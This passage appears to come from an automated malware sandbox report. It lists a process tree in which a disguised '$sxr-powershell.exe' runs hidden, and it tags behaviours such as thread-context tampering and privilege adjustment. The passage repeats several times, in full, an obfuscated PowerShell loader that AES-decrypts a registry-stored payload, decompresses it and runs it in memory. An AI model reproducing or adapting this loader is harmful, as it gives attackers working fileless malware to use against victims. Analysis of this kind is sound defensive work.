[IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))7⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5276
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C:\Windows\system32\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "0" "2100" "2988" "2920" "2992" "0" "0" "2996" "0" "0" "0" "0" "0"7⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:1968
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($KASyv, 0, $KASyv.Length);$KASyv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($KASyv);$mknYJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zVB7M6DhuDz9HVN22epYIw==');$mknYJ = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mknYJ, 0, $mknYJ.Length);$mknYJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mknYJ);$CcpOW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HUIziUB7x4wdL9DXkS0rtA==');$CcpOW = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($CcpOW, 0, $CcpOW.Length);$CcpOW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($CcpOW);$IVrwI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('sTbvcUvEJoAxsnBrBeUD8g==');$IVrwI = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($IVrwI, 0, $IVrwI.Length);$IVrwI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($IVrwI);$DEDSw0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jlr5GUhwRFzfhvwaclrGQg==');$DEDSw0 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw0, 0, $DEDSw0.Length);$DEDSw0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw0);$DEDSw1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VRv4nf1Tsuy8xOh1GOIbLw==');$DEDSw1 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw1, 0, $DEDSw1.Length);$DEDSw1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw1);$DEDSw2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qoyKUlYeEofaQd2Nsn4c1Q==');$DEDSw2 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw2, 0, $DEDSw2.Length);$DEDSw2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw2);$DEDSw3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x+L5SCITRwLaIySJMRKPcA==');$DEDSw3 = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw3, 0, $DEDSw3.Length);$DEDSw3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw3);$zJtjN.Dispose();$IUziZ1.Dispose();$ZnTbq = [Microsoft.Win32.Registry]::$CcpOW.$mknYJ($DEDSw).$KASyv($jMYEl);$hYcHq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZnTbq);$IUziZ = New-Object System.Security.Cryptography.AesManaged;$IUziZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$VYFAv = $IUziZ.('rotpyrceDetaerC'[-1..-15] -join '')();$hYcHq = $VYFAv.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hYcHq, 0, $hYcHq.Length);$VYFAv.Dispose();$IUziZ.Dispose();$zInKm = New-Object System.IO.MemoryStream(, $hYcHq);$vncyw = New-Object System.IO.MemoryStream;$aIVco = New-Object System.IO.Compression.GZipStream($zInKm, [IO.Compression.CompressionMode]::$DEDSw1);$aIVco.$IVrwI($vncyw);$aIVco.Dispose();$zInKm.Dispose();$vncyw.Dispose();$hYcHq = $vncyw.ToArray();$zxNyE = $BYhfv | IEX;$OwixV = $zxNyE::$DEDSw2($hYcHq);$vhBKp = $OwixV.EntryPoint;$vhBKp.$DEDSw0($null, (, [string[]] ($XVbaw)))6⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Hide Artifacts: Hidden Window
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3928
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C:\Windows\$sxr-powershell.exe"C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(1200).WaitForExit();[System.Threading.Thread]::Sleep(5000); $IUziZ1 = New-Object System.Security.Cryptography.AesManaged;$IUziZ1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$IUziZ1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$IUziZ1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('czejaGDzXhtRk3rRQOwA7CFoM90g5FQgnJ85LaUZQd4=');$IUziZ1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MrEUmw2CRfIwDN4DnujVag==');$zJtjN = $IUziZ1.('rotpyrceDetaerC'[-1..-15] -join '')();$DEDSw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dNZQ79CdCcT3RZeJIBMeWA==');$DEDSw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DEDSw, 0, $DEDSw.Length);$DEDSw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DEDSw);$jMYEl = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ffs1oB2cg9MQou+VEQ8aDXxHbAIu//njEEr4yqOAe8c=');$jMYEl = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jMYEl, 0, $jMYEl.Length);$jMYEl = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jMYEl);$XVbaw = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GvpxgK9ah8YOSS3JRrNuog==');$XVbaw = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XVbaw, 0, $XVbaw.Length);$XVbaw = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XVbaw);$BYhfv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6lRW0jGzlAA5nbkjHf5Tsi2VcY+e72Di8pyST+P3b+zKhEOatzOvsZwWc+tNvaenFYt371ubGqjG2iZNgW2Ruqyxtm0FlLj/6SFCvhVuHBoXGShbkjll0X0J0Yf8IrHI015qKEspAwvJ3BIkY31lE641I57ZA9mkxn3r2dmP9uXIIejGAbUYS/Egydi59SI4nLAn0KYi1PmCbY3T/4H6s6RDYRGM84TonfBl6Shh4V7e77iWS5OK+T93c6MxOusyAlznel1QyGuYsaEpfjJ3pZxnRDqxM+cJ6BV7z8XM6VlKLAriZV3af8+QPmGxYUFSetnhCdNepWVjla/rc+wznH76gqNjdrTdE4sXG2oefxeMo2RVY9GEE56HPY/MHqKXuj9QJ9R71SzOk/Jp6SI/aU6ftBcuLTHGK8ii/LzWWM4=');$BYhfv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BYhfv, 0, $BYhfv.Length);$BYhfv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BYhfv);$Rqbjy = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zLOMq/59oqNcdFMRuju6ng==');$Rqbjy = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqbjy, 0, $Rqbjy.Length);$Rqbjy = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqbjy);$KASyv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('72lxeVY82PoJcJ3hbiQEIw==');$KASyv = $zJtjN.('kcolBlaniFmrofsnarT'[-1..-19] -join 